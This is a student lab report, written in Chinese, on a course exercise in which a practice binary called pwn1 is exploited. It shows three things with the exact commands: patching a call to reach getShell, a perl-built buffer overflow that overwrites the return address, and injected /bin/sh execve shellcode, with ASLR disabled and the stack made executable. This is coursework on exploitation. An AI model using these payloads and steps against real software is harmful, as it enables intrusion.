20231909 2023-2024-2 《网络攻防实践》实践九报告
1.实践内容
1.通过修改可执行文件,改变程序执行流程以达到直接跳转到getShell函数的目的;
其中"getShell" 函数通常是一个命令执行函数,用于从远程服务器获取 shell 访问权限,以便攻击者可以在目标系统上执行任意命令。
2.通过main调用foo函数的Bof漏洞,通过攻击输入字符串,从而覆盖返回地址,以达到触发getShell函数的目的;
3.首先注入自制的shellcode,其次运行这段shellcode;
其中Shellcode 是一段用于利用软件漏洞或执行恶意代码的二进制机器码。通常,Shellcode 被用于利用缓冲区溢出漏洞,使攻击者可以通过篡改内存中的程序指令来控制目标计算机上的程序执行流程,实现攻击者的恶意目的。
2.实践过程
- 1.前期准备
先输入cd /home/kali/Desktop进入桌面目录;
接着输入mv pwn1 pwn20231909,修改pwn1至包含学号信息;
- 2.可执行文件的修改
输入objdump -d pwn20231909 | more命令,对可执行文件进行反编译;
使用enter键向下查看,可以发现其中有main函数,foo函数,getshell函数等,并且能够发现在main函数中调用了foo函数
右图可知,call的机器码为e8,e8之后跟为其地址的机器码的倒序;getshell的函数地址为0804847d;
其中80484ba+ffffffd7=8048491,804847d-80484ba=ffffffc3;
需要将d7ffffff改为c3ffffff;
输入apt install xxd,安装xxd;
输入vim pwn20231909打开可执行文件,打开以后是乱码;
输入:%!xxd,将其转换为十六进制显示;
查找到需要的信息
按i切换为输入模式,修改d7为c3;
输入:%!xxd -r恢复为原格式;
重新输入objdump -d pwn20231909 | more;对结果进行验证;可见修改成功;
- 3.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
输入objdump -d pwn20231909 | more,观察foo函数,可以发现foo函数预留了28个字节的缓冲区。
由于给字符串预留的28字节的上面4个字节存放的是main函数的栈底地址,再上面的4个字节就是返回地址,因此构造字符串的33-36字节为0x7d840408;
输入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20231909input;
将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件20231909input中;
输入xxd 20231909input查看,可知修改成功;
输入(cat 20231909input;cat) | ./pwn20231909,可以看见攻击成功
- 4.注入shellcode代码
安装execstack
设置堆栈可执行状态;
输入execstack -s ./pwn20231909;
输入execstack -q ./pwn20231909;
关闭地址随机化,并查看地址随机化的状态;
输入more /proc/sys/kernel/randomize_va_space;
输入echo “0” > /proc/sys/kernel/randomize_va_space ;
构造shellcode,找到shellcode的起始地址;
输入perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > 20231909input2
;
输入指令(cat 20231909input2;cat) | ./20231909pwn
;
另一终端输入指令 ps -ef | grep 20231909pwn,查看进程,可知进程编号为29915
输入gdb;
输入attach 29915
输入disassemble foo
输入break *0x080484ae,设置断点
另一终端输入回车,到断点后停止
输入info r esp查看栈顶指针所在位置,查看到栈顶指针所在的位置:0xffffd3cc
输入指令"x/16x 0xffffd3cc"查看存放内容。其中的0x01020304,就是返回地址的位置
可知地址为0xffffd3d0
输入perl -e ‘print “A” x 32;print “\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > 20231909pwn构造最终的shellcode
可见攻击成功
3.学习中遇到的问题及解决
- 问题1:显示command not found xxd
- 问题1解决方案:重新安装xxd
- 问题2:Unable to locate package execstack问题
- 问题2解决方案:
通过查阅相关资料,修改文件解决。
.
4.实践总结
通过本次事件理解了缓冲区溢出的攻击原理,同时也熟悉了gdb等调试工具的基本操作,并且在不断的查找资料的过程中,熟悉了常见的问题出现原因,锻炼了解决问题的能力